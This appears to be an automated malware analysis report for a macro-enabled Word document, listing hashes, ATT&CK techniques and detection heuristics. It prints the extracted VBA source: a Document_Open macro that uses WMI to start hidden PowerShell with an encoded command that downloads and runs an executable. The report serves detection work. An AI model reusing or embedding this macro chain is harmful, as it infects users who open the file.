Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fd944bbbacc319fa…

MALICIOUS

Office (OOXML)

19.0 KB Created: 2018-07-22 23:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-12-09
MD5: 30b6bca2629f46380f27201fdd235299 SHA-1: 4bd01effbec36c8299ae22b9f0b5f803f7c8066c SHA-256: fd944bbbacc319faebff3a11369eb15662adf200e7d8ecb8c19f932e0842d47e
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes a PowerShell command. This command is obfuscated but reconstructs to download a file from 'http://the.earth.li/sgtahame/putty/latest/w32/putty.exe' and save it as 'TEMP\output.exe'. The PowerShell process is launched using WMI with hidden window parameters, indicating an attempt to conceal execution. The presence of a Document_Open macro and the use of WMI to create a process strongly suggest a downloader or dropper.

Heuristics 9

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
            Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -ex Bypass -Nop -W Hidden -Ec IAAoAE4AZQBXAC0AbwBiAGoARQBDAHQAIABTAHkAUwB0AEUATQAuAG4ARQB0AC4AVwBFAEIAYwBMAEkARQBOAFQAKQAuAGQATwB3AE4AbABPAEEAZABGAGkAbABFACgAIAAdIGgAdAB0AHAAOgAvAC8AdABoAGUALgBlAGEAcgB0AGgALgBsAGkALwB+AHMAZwB0AGEAdABoAGEAbQAvAHAAdQB0AHQAeQAvAGwAYQB0AGUAcwB0AC8AdwAzADIALwBwAHUAdAB0AHkALgBlAHgAZQAdICAALAAgAB0gJABlAG4AVgA6AHQAZQBNAFAAXABvAHUAdABwAHUAdAAuAGUAeABlAB0gIAApACAAOwAgAFMAVABhAHIAdAAgAB0gJ …
     End Function
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
            strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
            strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub Document_Open()
 Execute
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1444 bytes
SHA-256: 73756320cbcb678733ab5919d057c97dd35a1d32ec225bb889da9a2d10e5ac0e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Document_Open()
 Execute
 Debugging
 Reg
End Sub

Public Function Execute() As Variant
        Const HIDDEN_WINDOW = 0
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
         
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
        Set objConfig = objStartup.SpawnInstance_
        objConfig.ShowWindow = HIDDEN_WINDOW
        Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -ex Bypass -Nop -W Hidden -Ec IAAoAE4AZQBXAC0AbwBiAGoARQBDAHQAIABTAHkAUwB0AEUATQAuAG4ARQB0AC4AVwBFAEIAYwBMAEkARQBOAFQAKQAuAGQATwB3AE4AbABPAEEAZABGAGkAbABFACgAIAAdIGgAdAB0AHAAOgAvAC8AdABoAGUALgBlAGEAcgB0AGgALgBsAGkALwB+AHMAZwB0AGEAdABoAGEAbQAvAHAAdQB0AHQAeQAvAGwAYQB0AGUAcwB0AC8AdwAzADIALwBwAHUAdAB0AHkALgBlAHgAZQAdICAALAAgAB0gJABlAG4AVgA6AHQAZQBNAFAAXABvAHUAdABwAHUAdAAuAGUAeABlAB0gIAApACAAOwAgAFMAVABhAHIAdAAgAB0gJABFAG4AVgA6AFQAZQBNAHAAXABvAHUAdABwAHUAdAAuAGUAeABlAB0g ", Null, objConfig, intProcessID
     End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: 9a16a8a471b8cf8ed9dc3cc0734b25b57b1f2b5f69d5eadc7d989e9c630f23c2
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: likely
Carved artifact contains 3 long base64-like blob(s).

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